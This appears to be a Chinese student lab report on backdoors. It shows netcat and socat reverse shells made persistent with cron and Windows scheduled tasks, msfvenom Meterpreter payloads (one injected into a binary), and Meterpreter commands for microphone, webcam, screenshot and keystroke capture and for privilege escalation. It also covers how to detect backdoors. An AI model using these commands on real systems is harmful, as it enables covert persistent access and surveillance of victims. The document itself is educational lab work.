一、实验目的
(1)使用netcat获取主机操作Shell,cron启动
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
二、基础问题回答
(1)例举你能想到的一个后门进入到你系统中的可能方式?
通过带有恶意附件的钓鱼邮件
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:创建一个计划任务,在特定时间(如每天凌晨)、用户登录时或系统启动时执行后门程序。这是非常隐蔽和常用的方式
linux:通过 crontab -e 为用户添加定时任务,或者将脚本放入 /etc/cron.hourly/, /etc/cron.daily/ 等目录
(3)Meterpreter有哪些给你映像深刻的功能?
键盘记录:keyscan_start 可以开始记录用户的键盘输入
权限提升:利用 getsystem 命令尝试多种技术快速提权到 SYSTEM/root
桌面交互:使用 screenshot 截屏,获取屏幕信息
(4)如何发现自己有系统有没有被安装后门?
检查异常连接:使用 netstat -ano(Windows)或 ss -tunlp/netstat -tunlp(Linux)命令,查看有哪些不明 IP 地址和端口建立了出站或入站连接
使用流量分析工具:使用 Wireshark 等工具抓包分析,查看是否有异常的数据包发送到未知的远程服务器
查看安全日志:在 Windows 的事件查看器中查看“Windows 日志 -> 安全”,筛选失败的登录、新服务的创建、计划任务的创建等事件。在 Linux 下查看 /var/log/auth.log, secure, syslog 等,关注 SSH 登录记录和 sudo 提权记录
三、实验过程
(1)使用netcat获取主机操作Shell,cron启动
1.1查看主机和kali虚拟机的ip地址
主机
kali虚拟机
1.2使用netcat进行连接并获取shell
在windows终端下输入ncat -lp 4315,进入等待
在Linux终端下输入nc 192.168.31.108 4315 -e /bin/sh(这里的是自己WLAN的ipv4地址,端口号与自己上一步的指令对应)
此时再在windows终端下输入ls,可以看到主机已经正确获取了虚拟机的shell
1.3cron启动
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令
crontab指令增加一条定时任务,"-e"表示编辑
crontab -e
第一次编辑需要选择,我们选择2选项
进入编辑我们输入指令
22 * * * * /bin/netcat 192.168.31.108 4315 -e /bin/sh
设置自启动时间,每个小时的第22分钟执行后面的指令
在相对应的时间开始监听
时间节点已经到,我们可以看见这里window已经获得了Linux的shell
(2)使用socat获取主机操作Shell, 任务计划启动
2.1Windows开放4315端口
socat tcp-listen:4315 exec:cmd,pty,stderr
2.2kali虚拟机连接Windows获取终端
socat - tcp:192.168.31.108:4315
验证shell,验证成功
2.3任务计划启动
windows下打开计算机管理
创建任务
设置触发器
等待预定时间,Windows启动任务,socat.exe运行
kali虚拟机获得Windows Shell
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
3.1在Kali上用MSF meterpreter生成后门可执行程序20234315.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.12.131 LPORT=4315 -f exe > 20234315.exe
这里需要Windows主动连接kali,即反弹给kali,也就是kali的ip:192.168.12.131
3.2在Windows上监听4315端口等待接收可执行文件20234315.exe
ncat.exe -lv 4315 >20234315.exe
在kali上将生成的20234315.exe传送给Windows(这里注意ip是windows的ip)
3.3配置监听模块
在Kali上用msfconsole
进入msf控制台
配置监听模块
以此输入
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.12.131(这里是自己kali虚拟机的ip)
set LPORT 4315(自己设置的端口)
开启监听
在kali虚拟机输入exploit
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取主机音频
record_mic
获取主机画面
screenshot
获取主机摄像头
webcam_snap
获取击键记录
keyscan_start
keyscan_dump
尝试提权
getsystem
getuid
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
5.1使用msf生成指定需要的shellcode并注入pwn1
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.12.131 LPORT=4315 -x pwn1 -f elf > 20234315cjx
5.2输入msfconsole进入msf控制台
5.3开始监听
chmod +x 20234315cjx 给予运行权限
./20234315cjx
可以看到监听成功
四、实验中遇到的问题
1.kali传输到windows端的后门程序打不开
解决方案:直接在kali这里复制后门程序,然后直接粘贴到windows的制定目录下面就行了
2.最后一步监听出现zsh: segmentation fault
解决方案:监听的是linux系统并非windows把windows改成linux/x86就行了
五、实验感悟
1.通过配置cron任务和Windows任务计划程序,我亲手将简单的网络工具改造成了能够在系统重启后依然存活的隐蔽通道。这让我明白,攻击者追求的并非一次性的入侵,而是长期的、隐蔽的控制。对比Linux的cron和Windows的任务计划,我认识到不同操作系统在权限管理和自启动机制上的差异,这为后续的防御排查提供了清晰的思路。
2.Meterpreter的功能让我印象深刻。当成功获取到目标主机的录音、摄像头实时画面和击键记录时,一种“隐私被一览无余”的震撼感油然而生。这不再是抽象的“被控制”,而是具象化的隐私窃取。尝试提权的过程更是让我意识到,一旦攻击者获得初始立足点,整个系统的安全防线都可能迅速崩塌。
3.Shellcode注入实践,将后门技术与二进制漏洞利用联系了起来。这让我认识到,后门不仅可以作为独立的程序存在,还可以作为一段精巧的代码 “寄生”在合法的程序内部。